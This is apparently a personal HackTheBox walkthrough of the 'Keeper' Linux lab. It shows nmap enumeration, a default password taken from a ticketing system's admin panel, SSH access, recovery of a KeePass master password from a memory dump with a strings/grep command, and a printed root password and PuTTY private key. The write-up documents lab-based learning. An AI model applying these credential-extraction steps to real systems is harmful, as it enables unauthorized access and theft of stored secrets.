

Keeper(Linux)

I really enjoyed the attack chain for this machine. I thought it was going to involve more web application in the beginning but I really liked the enumeration for this challenge.

Some new things I used/learned with this machine.

Using the web application's admin dashboard panel to do privileged user enumeration.

^ Access control

- ☒ Let this user access RT
- ☒ Let this user be granted rights (Privileged)

root's current password:

New password:

Retype Password:

^ Comments about this user

New user. Initial password set to **Welcome2023!**

Using a vulnerable KeePass memory dump to find the password for the encrypted password database (.kdbx)

```
> strings -e S keepass.dmp | grep -a ^$(printf \\xCF\\x25\\xCF\\x25)
```

❖%❖%
 ❖%❖%❖d nmap
 ❖%❖%❖d Foothold
 ❖%❖%❖%❖%
 ❖%❖%❖d

[illegible]

It was really cool using the memory dump to get the password from memory. Overall, I really liked the challenge and seemed like a sufficient amount of difficulty. I learned a lot!

Enumeration

Host IP: 10.129.229.41

Attacker IP (Me): 10.10.14.17

nmap

nmap -p- -T5 10.129.229.41 -v

```
(kali㉿kali)-[~]  
$ nmap -p- -T5 10.129.229.41 -v  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 00:09 CDT  
Initiating Ping Scan at 00:09  
Scanning 10.129.229.41 [4 ports]  
Completed Ping Scan at 00:09, 0.09s elapsed (1 total hosts)  
Initiating Parallel DNS resolution of 1 host. at 00:09  
Completed Parallel DNS resolution of 1 host. at 00:09, 0.01s elapsed  
Initiating SYN Stealth Scan at 00:09  
Scanning 10.129.229.41 [65535 ports]  
Discovered open port 22/tcp on 10.129.229.41  
Discovered open port 80/tcp on 10.129.229.41  
Completed SYN Stealth Scan at 00:09, 18.02s elapsed (65535 total ports)  
Nmap scan report for 10.129.229.41  
Host is up (0.039s latency).  
Not shown: 65533 closed tcp ports (reset)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
80/tcp    open  http  
  
Read data files from: /usr/share/nmap  
Nmap done: 1 IP address (1 host up) scanned in 18.32 seconds  
Raw packets sent: 65653 (2.889MB) | Rcvd: 65536 (2.621MB)
```

Open Ports:

22 : SSH

80 : HTTP

Foothold

We can now enumerate some privileged users from this dashboard. We can find this Inorgaard user that we can further enumerate.

The screenshot shows the Admin/Users/ page of the tickets.keeper.htb application. The page has a navigation bar with links like Home, Search, Reports, Articles, Assets, Tools, and Admin. The Admin menu is open, showing options like My Day, My Reminders, and Approval. The main content area is titled "Privileged users" and contains a search form with fields for "Go to user", "Find all users whose", "And all users whose", and "And all users whose". Below the search form is a table of users.

#	Name	Real Name	Email Address	Status
27	Inorgaard	Lise Nørgaard	inorgaard@keeper.htb	Enabled
14	root	Enoch Root	root@localhost	Enabled

Modifying the user allows us to find the password to this privileged "Inorgaard" user. Lets use it to login to ssh

Modify the user Inorgaard

^ Identity

Username: (required)

Email:

Real Name:

Nickname:

Unix login:

Language: ▼

Timezone: ▼

Extra info:

Helpdesk Agent from Korsbæk

^ Access control

- ☒ Let this user access RT
- ☒ Let this user be granted rights (Privileged)

root's current password:

New password:

Retype Password:

^ Comments about this user

New user. Initial password set to **Welcome2023!**

We found this user and a password in the comments of the user's page.
Let's use these credentials to login to the machine via ssh for a shell.

```

(kali㉿kali)-[~]
└─$ ssh lnorgaard@10.129.229.41
lnorgaard@10.129.229.41's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug  8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ ls
RT30000.zip  user.txt

```

Privilege Escalation

On the machine is a zip file with a memory dump and an encrypted password file

<pre> ~/HackTheBox/Linux_Keeper > ssh lnorgaard@10.129.229.41 lnorgaard@10.129.229.41's password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings You have mail. Last login: Tue May 6 07:41:42 2025 from 10.10.14.17 lnorgaard@keeper:~\$ ls KeePassDumpFull.dmp passcodes.kdbx RT30000.zip user.txt lnorgaard@keeper:~\$ </pre>	<p>What is the lnorgaard user's password on Keeper?</p> <p>Submit the flag located in the lnorgaard user's home directory.</p> <p>Submit flag difficulty rating</p>
---	---

This version of keepass is not good at storing passwords in memory. With a memory dump you are able to pull passwords from memory.

You can use dotnet tools from online to exploit this easily or use strings on the memory dump.

When you are typing your password in , it stores the password in memory as *P **A ***S ****S

This is due to the astericks being added to hide your password when typing it in.

[illegible]

Full password after researching special characters.

```
[eu-mod-2]-[10.10.14.8]-[ippsec@parrot]-[~/htb/keeper]  
[★]$ rødgørød med fløde
```

Now we can enumerate the keepass password database. We can see some groups that may be useful, specifically the Network group.

```
~/HackTheBox/Linux_Keeper  
> kpcli  
  
KeePass CLI (kpcli) v3.8.1 is ready for operation.  
Type 'help' for a description of available commands.  
Type 'help <command>' for details on individual commands.  
TCP/UDP: Preserving recently used remote address: [AF_INET]  
kpcli:/> open pass.kdbx  
Provide the master password: *****  
kpcli:/> ls  
≡ Groups ≡  
passcodes/  
kpcli:/> cd passcodes  
kpcli:/passcodes> ls  
≡ Groups ≡  
eMail/  
General/  
Homebanking/  
Internet/  
Network/  
Recycle Bin/  
Windows/  
kpcli:/passcodes> cd Network/  
kpcli:/passcodes/Network> ls  
≡ Entries ≡  
0. keeper.htb (Ticketing Server)  
1. Ticketing System
```

From this keeper.htb file, we can see that it is a public-private key pair to be used with PuTTY for ssh. The password is hidden at first by just using the show command but if you use the -f option it will unhide it for you.


```
kpcli:/passcodes> show -f 0
```

```
Title: keeper.htb (Ticketing Server)
```

```
Uname: root
```

```
Pass: F4><3K0nd!
```

```
URL:
```

```
Notes: PuTTY-User-Key-File-3: ssh-rsa
```

```
Encryption: none
```

```
Comment: rsa-key-20230519
```

```
Public-Lines: 6
```

```
AAAAB3NzaC1yc2EAAAADAQABAAQACnVqse/hMswGBRQsPsC/EwyxJvc8Wpu1/D  
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T  
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM  
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu  
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LG0xXup6+L0jxGNNTA2zJ38P1FTfZQ  
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6CcxS0Et
```

```
Private-Lines: 14
```

```
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/d0S2yjbnr6j  
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih  
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97z0oyf6p+xgcYXwkp44/otK4ScF2hEputY  
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lv8iyA6VF0p14cFTM9Lsd7t/plLJzT  
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5K01/TccbTgWivz  
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAGQD2kfhsA+/ASrc04ZIVagCge1Qq8iWs  
OxG8eoCMW8DhbbvL6YKAfEvj3xeahXexlVwU0cDX07Ti0QSV2sUw7E71cvl/ExGz  
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZG0swi3/uYrIZ1r  
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV  
09ygQ7Aec+C24T0ykiwyPa0BlmMe+Nyaxss/gc7o9TnHNPfJ5iRyiXagT4E2WEEa  
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VKA  
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD  
AF9Z70ehlo1Qt7oqGr8cVLb0T8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy  
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGoZgz67tKz9Is=  
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
```

```
kpcli:/passcodes> █
```

Now just use PuTTY to login with those credentials to get root.

```
root@keeper: ~  
login as: root  
Authenticating with public key "rsa-key-20230519"  
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:    https://landscape.canonical.com  
* Support:       https://ubuntu.com/advantage  
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your  
Internet connection or proxy settings  
  
You have new mail.  
Last login: Tue Aug  8 19:00:06 2023 from 10.10.14.41  
root@keeper:~# ls  
root.txt  RT30000.zip  SQL  
root@keeper:~#
```